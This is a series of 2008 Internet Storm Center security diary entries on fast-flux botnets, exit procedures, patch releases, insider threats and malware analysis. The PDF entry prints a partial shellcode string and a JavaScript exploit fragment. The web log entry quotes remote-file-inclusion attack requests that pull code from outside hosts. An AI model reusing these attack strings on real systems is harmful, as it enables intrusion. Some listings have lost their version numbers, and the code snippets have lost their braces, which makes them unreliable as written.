Fastflux is by now a staple for many phishing sites and malware delivery.   It builds a stable network which is difficult to take down.  In a fastflux environment many clients communicate with a flux node which in turn communicates with the mother ship.   
(Many clients --->Fluxnode:80---->mothership:80) 
If you take out the fluxnode you affect a number of clients, but if you manage to take out the mothership, then the end result is more impressive.  You have now taken out a number of fluxnodes as well as the many clients connected to it.  Hyrdaflux changes this.

A small flux net (at the time) was observed where the behavior of the fluxnodes was different.  The emergence may simply be an evolution in one flux herder codebase, or it represent a new fluxnet operation altogether.  The uniqueness of this particular fluxnet does not become apparent until you see what is happening on the upstream side of the fluxnode traffic that is mothership bound. "HydraFlux" is bestowed as a result of operational behavioral based naming.  In the observed network each fluxnode endpoint maintained a one to many mothership relationship.  The nodes also communicated with the mothership on a non standard port. 
(Many clients --->Fluxnode:80---->Multiple Mother ships:4449)
This type of structure now makes it more complicated to take the network down as the fluxnode can still receive instructions from the remaining motherships.  The immediate upstream mothership was identified as nginx servers and there is no easy method to determine if the mothership tagged is the final destination, or just a hop in a network of motherships.

HydraFlux nodes inject the actual client IP into mothership comms similar to how Storm and Warezov flux nets do (each in their own way).  HydraFlux does this by injecting a client header "X-Source: $IP" following the "Host:" header, which is also modified on the upstream journey to the mothership(s) so that this header value represents the flux node incoming bind IP address, like so...

Client Traffic to -> $FLUXNODE_IP:80
GET /servlet/?portal=kljasdliqwnnd78wnsnwjnsn HTTP/1.1

Accept: image/gif, (REDACTED_FOR_BREVITY), */*

Accept-Language: en-gb,en-us;q=0.5
UA-CPU: x86
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

Host: www.AAAAA.BBBBB.net
Connection: Keep-Alive

Traffic leaving fluxnode for one Mothership -> aaa.bbb.vvv.ddd:4449
GET /servlet/?portal=kljasdliqwnnd78wnsnwjnsn HTTP/1.1

Accept: image/gif, (REDACTED_FOR_BREVITY), */*

Accept-Language: en-gb,en-us;q=0.5

UA-CPU: x86
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)


Connection: Keep-Alive

At 11 minute intervals the fluxnode endpoint communicates with the mothership.  It targets each of the respective motherships involved.   The form-encoded data identifies typical elements related to the client including OS version, etc but perhaps the most interesting part is the (XOR'd 27) instruction file consistently named 'COMMON.BIN' that is delivered back to the client as the server response to POST /forum.php data.  This file contains the IP addresses of all upstream motherships for the node. 

It would seem that a potentially large number of mother ships could easily become involved, or for better or worse turn this into an ugly redirector mix of fluxnode endpoints redirecting through fluxnode end points intent on annoying even the most aggressive investigator.

So as you can see the game has changed again.  The above was observed back in April and May, research continues.  Thanks to William for doing the research and allowing me to edit and publish the diary.

Mark  H


Published: 2008-07-18

Exit process?

A recent experience with the exit process used by a company spurred me to write about the process by which an organization terminates employees or contractors. 

The very first question is, does your organization have both policy and procedures to deal with:
a) employees leaving voluntarily
b) employees being terminated
c) contractors coming and going
d) special cases

The next question is, do your employees actually follow the policies and procedures, or is there a fair amount of ad-libbing? Discretion in the hands of line management can be a good thing, or a recipe for disaster. I have alsways found checklists to be a good thing.

One employer I left I walked my replacement through the checklist, in case I had forgotten to put anything on it before I left. Good trial run for a new procedure. A friend of mine described a special case where a company founder left, however none of his access was changed. Another special case can be letting systems administrators or people like penetration testers go.

So, some of the things to address are:
- Physical access
- Logical access
- Anything only that person has access to, or special privileges.
- All property
- Non-disclosure agreement reminder
- Intellectual property issues


Chris wrote in with the following:

I've worked for several employers that didn't have a proper "exit" process... So I've had to write one up as one of my "final acts". They've tended to be employer-specific as I've worked in various sectors, so I can't share them easily :-(

One area where checklists are almost essential is when an employee dies in service. People don't think straight in that situation, they make mistakes, they accidentally do things that others might think insensitive in the situation, and so on. Having checklists drawn up before such an event can save a whole lot of hassle and grief.

Also, someone needs to make sure that critical systems don't rely on a leaver's account being present to function properly. I've encountered several systems over the years that were built around a specific person, which would then die horribly when that person's account was later removed.

When I design or build a system, I make absolutely sure that it's designed to what I call the "V'Ger Rule". If you've seen "Star Trek: The Motion Picture", you'll understand.

Put simply, the "V'Ger Rule" states:
"A System must continue to operate in a correct and
 safe manner in the absence of its Creator".

Or, put another way:

1. No blowing up any spaceships ;
2. No joyriding in Carbon Units ;
3. Fat, balding starship captains are to be shot on sight,
   especially ones that follow the "If you can't eat it,
   drink it, steal it, spend it or have sex with it, blow
   it up" mantra.
Adrien de Beaupré



Published: 2008-07-17

Microsoft Updates 2 DirectX Bulletins

Microsoft has issued a "Security Bulletin Major Revision" involving its DirectX products.  These revisions include the following two previously released bulletins and particularly affect administrative users as the resulting compromise allows the attacker to gain user rights. 

MS08-033   Vulnerabilities in DirectX Could Allow Remote Code Execution (951698) is rated as critical and states that DirectX 9.0 was added as affected software. This vulnerability can be exploited through a specially crafted media file.  http://www.microsoft.com/technet/security/Bulletin/MS08-033.mspx

MS07-064   Vulnerabilities in DirectX Could Allow Remote Code Execution (941568) is also rated critical and has been updated to reflect DirectX 9.0 and 9.0a as affected software.  This vulnerability can be exploited through a specially crafted media file via streaming.  http://www.microsoft.com/technet/security/bulletin/ms07-064.mspx

Yet another opportunity to remind administrators to try not to log in with admin rights unless it is absolutely necessary.  It is much better to use a non-admin profile for routine tasks and surfing.  And yes, it might be more cumbersome, but surely, more secure.


Published: 2008-07-17

Adobe Reader 9 Released

One of our readers, Steve, let us know that the Adobe website has Version 9 of Reader available for download.  Be sure to notice that they kindly offer a "Free eBay Desktop" is checked by default and it is a 33.5MB download.

As far as security upgrades, Adobe says the Security enhancements provides new digital signature functionality. The new version also adds support for 256-bit AES encryption.  Other security features include SOAP/WSDL, XSD, Kerberos, W3C XML digital signatures, 256-bit AES, OASIS WS-Security, HTTP/HTTPS, RSA, XML encryption, and ECMAScript for XML (E4X) in the JavaScript interpreter. Reader is also NIST PKI test-suite compliant.




Published: 2008-07-17

Firefox Releases 3.0.1 and fixes 3 security vulnerabilities

A security advisory released yesterday by Mozilla fixes the following issues and more:

MFSA 2008-36 Crash with malformed GIF file on Mac OS X. Where a specially crafted GIF file caused the browser to free an uninitialized pointer. This can crash the browser and allow arbitrary code execution on the victim’s computer.
MFSA 2008-35 Command-line URLs launch multiple tabs when Firefox not running. Now this one had an easy workaround…. Just always run Firefox! 

MFSA 2008-34 Remote code execution by overflowing CSS reference counter. This vulnerability affects the CSSValue array data structure.
In addition to the security fixes, some stability issues, a phishing and malware database issue and and updated Public Suffix list are included in this version.
Update:  The new version isn't compatible with the SnagIt plugin.



Published: 2008-07-16

Insider Threats - How Do You Protect Against Them?

Chris writes

"I read about the situation out in San Francisco on Slashdot this morning, where a disgruntled administrator locked everyone out of the system he was responsible for after learning he was going to be fired.

I was wondering if the handlers or readers had any advice on protecting the Windows Administrator account, or any advice on protecting the organization from insider attacks of this sort in general?"

Now, I haven't yet read that article but as I mentioned to Chirs if an administrator finds out before hand he is to be fired, that also is a break down of information security.  Policies and procedures need to be in place to prevent exactly this kind of thing from happeneing.

Send in your suggestions for how you protect your organization and network from the people who manage it and I'll post some of the submissions later in the day.

My belief is that you have to trust the people who manage the systems.  If you can't they shouldn't be there.  Trust, but verify.  :)



Gary writes,

Normally people are disgruntled on how things are handled. usually the person being fired is the last to know, and thats the wrong way to handle it. Rumours spread and eventually some one spills the beans. mangements needs to handle things alitte more "personal".

I have seen a pow-wow of "trusted" admins and network security people being given priviledged information, such as releases and firings, and they assess whether the person is trustworthy til their last day. Thats decided first - before they inform the individual. That way the person leaving can fall into 3 categories. Continue working as normal til the last day, and allowed to look for work elsewhere. The second is an escorted out of the building, and given a 2 week payed at home option. That person is a "mild threat" more of bragging about how much more they can make at another job, and just stirring the hornets nest as a last act. Then of course there are the disgruntled that are simply ousted and let go.

How do you protect against such a thing? Create different groups with limited priviledges. Not everyone, including admins need rights to everything.

Worse than kicking out all admins, or in conjuction with a mass eviction, is the threat of an admin going into the server room and lowering defenses, removing patches and making the network vulnerable to the outside world. How long would that go undetected in a stereo-typical IT world?

Log viewing and auditing is important, but that takes waaaaaay too much time, effort and manpower and money for software automation. All that typically is worthless anyway, if the "act" is performed at the end of a day, say on a Friday evening.

Breaking back into your network is painful, and it may work with ERD commander or a Linux Boot disk, but messing with a DC (domain controller) to get back into your network is like playing with Nitro glycerine on a bumpy road.

Short of limiting priviledges to each security group, and possibly having a Domain controller set off in its own area with limited (enterprise level acess only) access only, it becomes tough to control such a thing - unless there is a 3rd party software to prevent this from happening?

All I have to say is there needs to be a national registry that people who do this are entered in. That way the digruntled will not work for some one else, and do the same thing. If they are hired for an IT area again, the company knows they will have to put some protections in place in order to prevent this from happening again.

I am sure the non disclosure for admins can have a statement about adding disgruntled employees that docking of pay, arrest, and restitution for company downtime / repairs will be initiated after a extensive investigation. That will make people think twice.

My job is information assurance. Its simple, trust no one, but respect them for the (honest) things they do.

Thanks Gary!

I'll summarize the thoughts of fellow handler Swa Frantzen who I'm sure will feel free to correct me if I misunderstood anything.

Watch your logs which are moved beyond the reach of the admins for 'normal' unusual activity as well as 'sneaky' unusual activity.   It's not a bad idea to ask a few questions from time to time as well.  This let's people know activity is being watched and can be a deterrent itself.  Yes, this will take quite a bit of time and the software to be able to do this effectively isn't cheap but, protecting against insider threats is important in certain environments.

Segregate and rotate duties.  No one should have all the keys to the castle at the same time and where possible, job duties should be rotated. It's much harder to hide long term malicious activity when someone else will be responsible for a given area when you rotate out.

Please make sure to read the great comment posted earlier as well.

More updates to come as suggestions arrive.




Published: 2008-07-16

Firefox fixes two security vulnerabilities

The Mozilla Foundation has just released Firefox which fixes two critical security vulnerabilities:

MFSA 2008-35 (CVE-2008-2933) Command-line URLs launch multiple tabs when Firefox not running
MFSA 2008-34 (CVE-2008-2785) Remote code execution by overflowing CSS reference counter

It should be noted that the second vulnerability would also affect users that run Thunderbird with Javascript enabled for e-mail reading. Needless to say this is a no-no. We recommend users to upgrade their Firefox installation. Firefox 2.x will still be supported only until mid-December, so investigating and planning an upgrade path to Firefox 3 is advised.


Published: 2008-07-15

Bot controller mimicry

For a long time I've advocated the use of security intelligence principles in information security. Often considered merely playful though interesting, increasing our knowledge and understanding of a threat reduces our uncertainty in making a response decision. Using time-tested, validated responses is important, but innovation should not be limited to the offenders only.

Joe Stewart, a researcher at Secureworks, published an interesting piece of research today which is just great afternoon reading. His research of the Coreflood network, a pest for about six years now, has so far covered the "who", "why" and "how" of infection. Today, he is also looking at using the botnet's own command & control channel to remove it from a corporate network.

Whether you favour this type of technique or would discard it out of hand, it definitely makes for a fascinating read.


Published: 2008-07-15

BlackBerry PDF parsing vulnerability

Francois wrote in today pointing us to a vulnerability recently discovered in the BlackBerry attachment service. This service parses documents in various file formats, including PDF, and encodes them in a format readable for the BlackBerry handheld device. Most vulnerabilities that have affected the BlackBerry Enterprise platform have been situated in this service, as it needs to be able to parse a wide number of different files, increasing the risk of software vulnerabilities, particularly heap overflows.

Early 2006, for example, a vulnerability in the service affected the parsing of TIFF files. While it's hardly ever adhered to, many hardening guidelines for BlackBerry, including those issued by Australia's DSD, recommend installing the attachment service on a separate machine within a clean and screened subnet. By only allowing files into the service and the resulting datastream out, the impact of a compromise can be controlled.

This vulnerability is interesting as it is one of those cases where it appears the BlackBerry, which opens a file, may be at risk, but what is really exposed in the enterprise setup housed in the centre of the corporate network. Users of the BlackBerry Enterprise Server (BES) can read up on the risk and countermeasures here.



Published: 2008-07-15

Oracle (and BEA, Hyperion and TimesTen) critical patch update July 15th, 2008

Today, July 15th, Oracle will release its quarterly critical patch update. They have now published the pre-release announcement. The highest CVSS score of all vulnerabilities patched is 6.8 (6.5 is the maximum for the Oracle Database itself).

Below is the list of software planned to be affected, quoted from their announcement:

    • Oracle Database 11g, version
    • Oracle Database 10g Release 2, versions,,
    • Oracle Database 10g, version
    • Oracle Database 9i Release 2, versions,
    • Oracle Database 9i, version FIPS+
    • Oracle TimesTen In-Memory Database version
    • Oracle Application Server 10g Release 3 (10.1.3), versions,
    • Oracle Application Server 10g Release 2 (10.1.2), versions,
    • Oracle Application Server 10g (9.0.4), version
    • Oracle Application Server 9i Release 1, version
    • Oracle Hyperion BI Plus versions,, and
    • Oracle Hyperion Performance Suite versions, and
    • Oracle E-Business Suite Release 12, version 12.0.4
    • Oracle E-Business Suite Release 11i, version
    • Oracle Enterprise Manager Database Control 11i version
    • Oracle Enterprise Manager Database Control 10g Release 2, versions,,
    • Oracle Enterprise Manager Database Control 10g Release 1, version
    • Oracle Enterprise Manager Grid Control 10g Release 1, versions,
    • Oracle PeopleSoft Enterprise PeopleTools versions 8.48.18, 8.49.12
    • Oracle PeopleSoft Enterprise CRM version 8.9, 9.0
    • Oracle WebLogic Server 10.0 released through MP1
    • Oracle WebLogic Server 9.0, 9.1, 9.2 released through MP3
    • Oracle WebLogic Server 8.1 released through SP6
    • Oracle WebLogic Server 7.0 released through SP7
    • Oracle WebLogic Server 6.1 released through SP7

Oracle notes that this is the first time patches for BEA, Hyperion and TimesTen technology are included in the release. If you are running software from these recently-acquired vendors, please be aware.

It should be noted that the CVSS for application software vulnerabilities such as a database are generally lower, but not necessarily less critical in specific environments. A bug may not give access to the underlying operating system, but in the case of a database we tend to be more worried about the data housed there than other software running on the same system.

We recommend reviewing the pre-release announcement, and subsequent release, closely, and prioritize patching according to your specific environment's requirements.


Published: 2008-07-15

Extracting scripts and data from suspect PDF files

Over the last few weeks we’ve received a small number of inquiries on how to assess potentially malicious PDF files. As with any file format, there are two ways to get started: either use a sandbox running a presumed vulnerable version of the file parser (in this case Acrobat Reader), or to have a closer look at the file format.

The former is really the easiest way to go and is probably suitable for most situations. The vast majority of exploit PDFs we have seen execute reliably on an unpatched Acrobat Reader 7, so it’s trivial to get this going. However, in some cases you may want to know about the execution path inside the PDF, and not purely how it affects a random target system, or you may just not have a sandbox environment handy.

The core document describing the PDF format is the PDF Reference 1.7, which can be downloaded from the Adobe PDF developer center. The most interesting information for analysis purposes - an overview of the format - can be found as of page 90.

Broadly put, PDF files consist of a header indicating the version, followed by a body consisting of several objects. At the end of the file is the so-called xref (or cross-reference) table, which points directly to various objects within the file, to allow speedy access. Updates not only consist of changes to the objects, but also to the xref table.

Simple objects can look like:

5 0 obj

Such objects generally describe aspects of how the PDF file should be presented. Another type of object is the “stream”, which can contain types of data, such as images or scripts, encoded in a number of different ways.

Just last week, we received a copy of a malicious file “basketball roster.pdf”. Flat file scanning using Virustotal showed that detection of this file was lacking:

MD5 44cf41479559b0dc72a2330a9e8ec6c1

AhnLab-V3 2008.7.11.0 2008.07.10 -
AntiVir 2008.07.11 HTML/Shellcode.Gen
Authentium 2008.07.10 -
Avast 4.8.1195.0 2008.07.11 -
AVG 2008.07.11 -
BitDefender 7.2 2008.07.11 -
CAT-QuickHeal 9.50 2008.07.10 -
ClamAV 0.93.1 2008.07.11 -
DrWeb 2008.07.11 -
eSafe 2008.07.10 -
eTrust-Vet 31.6.5946 2008.07.11 -
Ewido 4.0 2008.07.11 Not-A-Virus.Exploit.Win32.Pidief.ax
F-Prot 2008.07.10 -
F-Secure 7.60.13501.0 2008.07.10 -
Fortinet 2008.07.11 -
GData 2.0.7306.1023 2008.07.11 -
Ikarus T3. 2008.07.11 HTML.Shellcode
Kaspersky 2008.07.11 -
McAfee 5336 2008.07.10 -
Microsoft 1.3704 2008.07.11 -
NOD32v2 3262 2008.07.11 -
Norman 5.80.02 2008.07.10 -
Panda 2008.07.10 -
Prevx1 V2 2008.07.11 -
Rising 2008.07.11 -
Sophos 4.31.0 2008.07.11 -
Sunbelt 3.1.1509.1 2008.07.04 -
Symantec 10 2008.07.11 -
TheHacker 2008.07.10 -
TrendMicro 8.700.0.1004 2008.07.11 -
VBA32 2008.07.11 -
VirusBuster 2008.07.10 -
Webwasher-Gateway 6.6.2 2008.07.11 Script.Shellcode.Gen

The first thing I generally do with this type of file is to look for any embedded Javascript. Most bugs affecting Acrobat Reader have involved the Javascript method handling engine, so this is a likely first jump. A quick search for interesting objects with a hex editor revealed two interesting ones: one Javascript, the other containing a binary:

The stream description indicates that a filter FlateDecode has been applied to the bitstream. The PDF standard supports 10 different binary filters, of which FlateDecode is the most common. The reader applications use zlib’s deflate to unpack compressed data, which both allows a wider set of characters to be used, as well as makes the overall file smaller than the sum of its uncompressed objects.

In this case, as both suspicious objects are have been rendered unreadable through compression, we want to uncompress them for further review. The easiest command-line way to inflate deflated PDF content is by using the pdfinflt.ps script included with Ghostscript:

[maarten@mojave ghostscript-8.54]$ gs -- toolbin/pdfinflt.ps /tmp/roster.pdf /tmp/roster.out

ESP Ghostscript 815.02 (2006-04-19)
Copyright (C) 2004 artofcode LLC, Benicia, CA.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
   **** Warning: File has a corrupted %%EOF marker, or garbage after %%EOF.
   **** Warning:  An error occurred while reading an XREF table.
   **** The file has been damaged.  This may have been caused
   **** by a problem while converting or transfering the file.
   **** Ghostscript will attempt to recover the data.
   **** Warning:  There are objects with matching object and generation
   **** numbers.  The accuracy of the resulting image is unknown.
ERROR: /undefined in /BXlevel
Operand stack:
   --nostringval--   51   0   2   --dict:6/6(ro)(G)--   obj
Execution stack:
   %interp_exit   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   1   3   %oparray_pop   1   3   %oparray_pop   1   3   %oparray_pop   1   3   %oparray_pop   .runexec2   --nostringval--   --nostringval--   --nostringval--   2   %stopped_push   --nostringval--   --nostringval--   --nostringval--   --nostringval--   --nostringval--   --nostringval--   false   1   %stopped_push   --nostringval--   %loop_continue   --nostringval--
Dictionary stack:
   --dict:1087/1686(ro)(G)--   --dict:0/20(G)--   --dict:143/200(L)--   --dict:241/347(ro)(G)--   --dict:18/24(L)--
Current allocation mode is local
Current file position is 4774
ESP Ghostscript 815.02: Unrecoverable error, exit code 1

[maarten@mojave ghostscript-8.54]$

Alas, in many cases, PDF exploits are not created using the most standards-compliant generators, and in the case where they exploit a parser issue, well, it makes sense that they don’t parse cleanly. Inflating all objects in the file using a stock tool seems to be a no-go.

Luckily, there’s a great version of the zlib libraries for Perl, and it’s trivial to write an inflater script:

use Compress::Zlib ;
$processor = inflateInit();

binmode STDIN;
binmode STDOUT;

while (read(STDIN, $flatfish, 8192))
 $blowfish = $processor->inflate($flatfish) ;
 print $blowfish

die "Parsing error or end of stream\n"

The only thing remaining now would be to copy-paste the stream content from the file into a new binary file, and feed it into the script. However, things get a little bit more complicated. While the deflated content is zlib, PDF uses a slightly different zlib header structure than what the libraries expect.

When opening the PDF in a hex editor, the stream actually starts after the 0D 0A marker following the “stream” string. The next two bytes, 48 89, are in fact the PDF header. In order to make the stream compatible with zlib, change these into a header acceptable to zlib, such as 78 9C. Next, run this file through the Perl script again, with much better results:

[maarten@mojave ~]$ perl inflate.pl < /tmp/deflated.txt
function re(count,what)
var v = "";
while (--count >= 0)
v += what;
return v;
function start()
sc = unescape("%uc933%ub966%u018c%u1beb%u565e%ufe8b%u66ac%u612d%u6600%ue...

if (app.viewerVersion >= 6.0)
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});

From there, you can apply regular Javascript deobfuscation techniques, as discussed in previous diary entries, to investigate the actual scripting employed. In this specific case, the script creates a crafted set of data which exploits a known vulnerability in the Collab.collectEmailInfo function of Acrobat Reader’s Javascript engine (CVE-2007-5659).

-- Maarten


Published: 2008-07-14

DR/BCM lessons from the Vancouver fire

An fire in an underground power distribution room today knocked a good portion of Vancouver's inner city power grid offline. Several news media like the Vancouver Sun are carrying the story by now.

As bad as this event is on its own, the email provider Hushmail reports on its web page some additional interesting details. What happened, apparently, was that Vancouver's "Harbour Centre" web hosting location brought their emergency generator successfully online when the power dropped. But as soon as the fire department started drawing massive amounts of water in their attempt to contain the fire, the water pressure in the mains was reduced to a level where the (water cooled) emergency generator couldn't operate any more. Poof. Darkness.

Now, let me guess how many BCM/DR plans out there didn't think of that one...  Time to update!




Published: 2008-07-14

Obfuscated JavaScript Redux

Since our last diaries on the subject of obfuscated Javascript ([1],[2]), the bad guys have again upped the ante a little to make analysis more difficult. The latest few samples that I analyzed all used codes that employed one or several of the "document.referrer", "document.location" and "location.href" properties as part of the decoding process.

document.location and location.href contain the URL of the currently displayed web page, document.referrer contains the URL of the last page visited before reaching the exploit. Using these variables in the obfuscation scheme means that the exploit will not decode correctly, and hence will not run, when copied to a different place or called from a different website.

While this is making analysis more difficult, it is also making life more complicated for the attacker. Imagine Mr Bad Guy using a large set of domains. Formerly, all of these were probably hosting the same bit of malicious JavaScript. This is still the case - the exploit files themselves are the same - but now, he has to encode these exploits specifically for each URL.  Currently, this seems to often require more attention to detail than Mr Bad Guy is able or willing to muster. Two of the obfuscated scripts that I investigated last week did not normalize location.href to lower case before using it in the decoding process - and while Mr Bad Guy had successfully injected his malicious URL as an IFRAME into hundreds of web pages, he had spelled it ending in .HTM there instead of the .htm that he had used in the code. "HTM" and "htm" are perfectly the same to the web server, but case matters quite a bit if location.href (the URL) is used in the obfuscation cipher. I bet he still hasn't figured out why his sploit didn't work :). 

Here's a quick primer on how to tackle the latest obfuscated Javascript in SpiderMonkey. SpiderMonkey, running from command line under Unix, is still my favorite tool for this analysis. But SpiderMonkey is only a JavaScript engine - it doesn't emulate the browser and doesn't even have a "document" or "location" object.

These can be re-created though. There's many ways to do this, I usually just insert the following code block ahead of the malicious JavaScript

function loc() { }
var location=new loc();

And behold, SpiderMonkey sees a location.href variable with the correct content.

If it so happens that your exploit specimen also makes heavy use of "arguments.callee" and "eval()", consider administering some steroids to your monkey .. Spidermonkey that is. After some tinkering, I came up with the following patch. It should apply cleanly on SpiderMonkey 1.7.0, and will make every call to eval() obligingly print its arguments before running them.

$/tmp/js/src$ diff jsobj.orig jsobj.c
> char *c;
> c = js_GetStringBytes(cx->runtime, str);
> if (file && c) {
> printf ("File %s Line %i calls eval with the following parameter:\n%s\n\n",file,line,c);
> }

Try it - this small change alone takes the sting out of most of the obfuscation techniques in use.


Published: 2008-07-13

Survival Time on the Internet

I have been asked many by people if I really believed the survival time graph on the ISC site was truly an accurate representation of how long a new system had once connected.  The answer to this is yes for most home users and systems that are internet facing.  It can be longer depending on the system,  what sits in front of it and what it is used for.  The survival time is currently around 4 minutes for unpatched systems.  That is not much time at all and the window has shrunk over the past couple of years.  If you want to do your own experiment by  placing a sacrificial system out there, its really a fun thing to do!  Don't patch the system and see how long it takes before it receives its first probes and actually becomes compromised.  Just  make sure you monitor and its not used against others.  If you really want to do this, I'd advise checking out the Honeynet Project.

The battle, in my experience, is waged between the admins and management who want to get this system up and working and security who is saying not until its been patched and its security posture confirmed.  More than once, I've dealt with a compromise of a system that was place on the network before it was hardened.  I got the same answer every time "We needed it working ASAP".  However, more time was spent playing clean up from it than if it was just done right the first time. 

What I'm really curious about are any experiences that you have had for survival time on the internet that you can share.  Please feel free to sanitize them as necessary and let us know if they can be posted.  What was placed on the network and why?  What was the impact, if any, to other systems?  How long was the system out there before it was compromised.  Also, if you have been able to use the survival time graph as a method of showing why its important to properly secure a system first, please let us know that too.


Published: 2008-07-11

And you thought the DNS issue was an old one...

No, I don't really want to get into an argument about whether Dan Kaminsky has found anything new.  It seems pretty clear that he's found a new, more efficient way to poison DNS caches or Microsoft/Cisco/ISC (not SANS ISC, but then you knew that) wouldn't have reacted in unison as they did, but we've known that the ID field was too small for something like 15 years and some folks like Dan Bernstein have been recommending using random source ports for about 10 years.  In light of all of that noise, however, I was amused to read this Computerworld story about a bug in yacc (ah, the fond memories of my days writing compilers) that traces back to 1975 that was just discovered and fixed.




Published: 2008-07-11

Handling the load

Well, last month it was the Mozilla folks who hyped the release of Firefox 3.0 and then had their servers fold under the load.  Today, it seems to be the iTunes site wilting under the load of all the folks trying to activate their new iPhones.  If you are among those folks (obviously you aren't reading this from your iPhone then), all we can say is keep trying, the spike eventually decays to a point where the system can handle the load, but that is obviously of little solace to those who are without a phone at the moment.


Published: 2008-07-11

Updates to some of our favorite tools

Over the last month or so, several of our favorite tools have been updated and we haven't necessarily mentioned them all here, so for those of you not standing in line waiting for your new iPhone 3G, here are a few to update.

  • Wireshark.  I was going to do this story last night at the very beginning of my shift and mention that 1.0.1 was out, well, 1.0.2 just came out and fixes a couple of issues including a potentially somewhat serious reassembly issue, see CVE-2008-3137 and CVE-2008-3141.
  • Our friend, Daniel Cid has released OSSEC 1.5.1 and yesterday mentioned that he is in the process of adding the capability of checking a system against the CIS Security Benchmarks.  Read more about it here.
  • Another of our friends, Chris Rohlf has updated his binhash tool to v0.6.0 you can get it here.

Also, for those who like to shove data into MySQL databases for further analysis (who doesn't?), I came across these 2 posts by Marcin about a couple of Python scripts for parsing nmap and nessus output and loading them into MySQL.  They look useful, though I haven't had an opportunity to do much with them yet.



Published: 2008-07-11

How to Determine if Adobe Acrobat or Reader 8.1.2 Security Update 1 is Installed?

A couple of weeks ago, we announce a new critical vulnerability in Adobe Acrobat or Reader 8.1.2 that allows remote code execution. Adobe released an update for it, Security Update 1. The update process was confusing for lot of people, and after completing it,  it was not clear how to check if the update had been properly installed, as it still says version 8.1.2  almost everywhere.

There are different ways to check it is installed. Thanks Erick (from Adobe). Please, scroll to the bottom of the Release Notes for instructions on Windows and Mac:


Raul Siles


Published: 2008-07-10

Podcast Episode Eight Posted

Thanks to all of those who joined us live last night!  It was great to have that live feedback.  Johannes and I were all live on video and audio, and despite a few hiccups, it was great.  It turns out that we have a great discussion AFTER the live podcast with all the people that are live (you must be a registered stickam member to be able to participate).  I think I may start recording that portion as well, maybe we'll publish that as well!

We published Episode Eight of the Internet Storm Center Podcast last night after the record.

It would be great if we could increase the live listener count, as I'd like to do a live Q&A via the listeners, (and other fun live events).

Go grab it through iTunes.

Direct download of the mp3 is here, for those of you that are not iTunes users.


Joel Esler



Published: 2008-07-10

One Bushel of Apple Updates

Apple is updating many systems this week (in paritcular today) to get ready for the iPhone 3G launch and the new "MobileMe" software. Its not exactly within your scope to cover product updates or releases like that. However, some of the updates released today are security relevant. For example the new AppleTV software includes a number of security patches. A new version of Quicktime ( was released as well (thanks David!).

It is not clear if the new version of iTunes (7.7) released today includes any security fixes.

Johannes B. Ullrich, Ph.D.
SANS Technology Institute


Published: 2008-07-10

Weblog Observations

In this diary, I will share a few odd log entries from our ISC web logs from the last couple days. Not all of them are attacks. In some cases, they look like honest mistakes, in others, I am not sure what is going on ;-).... of course, there are also some genuine attacks here:

Buggy RSS Reader?

Here a request from earlier today. It triggered an alert as it exceeded the maximum request variable name length:


looks to me like a buggy RSS reader. We attach 'rss' to links in our RSS feed. The remaining "tags" don't look like XSS. So in my opinion not an attack

Remote File Insertion

GET /index.html?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&
GLOBALS=&mosConfig_absolute_path=hxxp: // www. csccog. org/mambots/system/.bash/did.txt?

GET //index.php?_SERVER[DOCUMENT_ROOT]= hxxp: // rosenkrieger . herateam .de/phpRaider

Now these are "genuine" attacks. The goal here is to overwrite variables and use them for remote file execution attacks. I modified them to prevent accidental clicking. They shouldn't cause any harm to the browser, but you never know...

More Client Bugs? Or someone playing?

GET /diary.html?date=2005%C2%AD05%C2%AD09%E2%80%93%00%00

With this one, I am not sure. The request was blocked because it included a '%00' at the end. The parameter should be a date in this YYYY-MM-DD format. Oddly enough, there was o referer set, but the user agent looked "legit" (easily faked... I know). The same IP address sent other (valid) requests with the same user agent. However, these other requests included cookies, while this particular one didn't... hm. Maybe its someone playing after all? Using a proxy to manipulate requests?

 Monster Cookie from Hell.

This request included 3 oddly formated (and very long) cookies. The cookie names are pc1, pv1, bh and ih. "ih" is by far the longest, about 1180 characters long! The cookies all look very similar. Here is the shortest on (pc1):


The one "feature" that sticks out are a lot of exclamation marks (more so in the other values).

 In conclusion: Keep checking your logs! Let us know if you see something odd.... or if you got more details about the logs I posted above.


Johannes B. Ullrich, Ph.D.
SANS Technology Institute


Published: 2008-07-09

Java Update

Couple readers told us about a security relevant update to Java. Well, you know the drill. I hope you took good notes last time you had to do it. Secunia got a reasonable summary here:



Johannes B. Ullrich, Ph.D.
SANS Technology Instititue, http://www.sans.edu



Published: 2008-07-09

Unpatched Word Vulnerability

What a busy day! Microsoft just released an advisory with details about a new vulnerability in Word, which is currently being exploited in targeted attacks.

Earlier today, we found a mention of such a vulnerability in an advisory published by Symantec. Symantec published this advisory based on a sample our handler Maarten sent to our malware distribution list. The file in question was actually part of a bundle of files he sent. As far as we know, this is the only sample we had which exploits this vulnerability.

Please read the Microsoft advisory carefully. According to Microsoft's testing, it only affects Microsoft Office Word 2002 Service Pack 3. This is one reason we didn't consider this particular sample as we didn't test it with this particular version of Office.

Needless to say, this is yet another reminder that exploits like this are likely to continue in targeted attacks. Feel free to send us suspect samples. Luckily, there is some anti-virus coverage in this particular case.

As a sidenote: Maarten will be talking about his work with these targeted exploits as SANSFIRE . Better register now !

The md5 hash of the particular sample we have: 0x7C0812F6207FF8E9FEF016DE48786168 (attachement.doc). Excerpt from Virustotal:

F-Secure 7.60.13501.0 2008.07.03 Trojan-Dropper.MSWord.Agent.cq
GData 2.0.7306.1023 2008.07.07 Trojan-Dropper.MSWord.Agent.cq
Kaspersky 2008.07.07 Trojan-Dr
Sophos 4.31.0 2008.07.07 Troj/MalDoc-Fam
Webwasher-Gateway 6.6.2 2008.07.07 Exploit.Win32.Ginwui.gen!MS-Word (suspicious)


Symantec: www.securityfocus.com/bid/30124/info

Microsoft Advisory: www.microsoft.com/technet/security/advisory/953635.mspx

Microsoft Blog Post: blogs.technet.com/msrc/archive/2008/07/08/ vulnerability-in-microsoft-word-could-allow-remote-code-execution.aspx



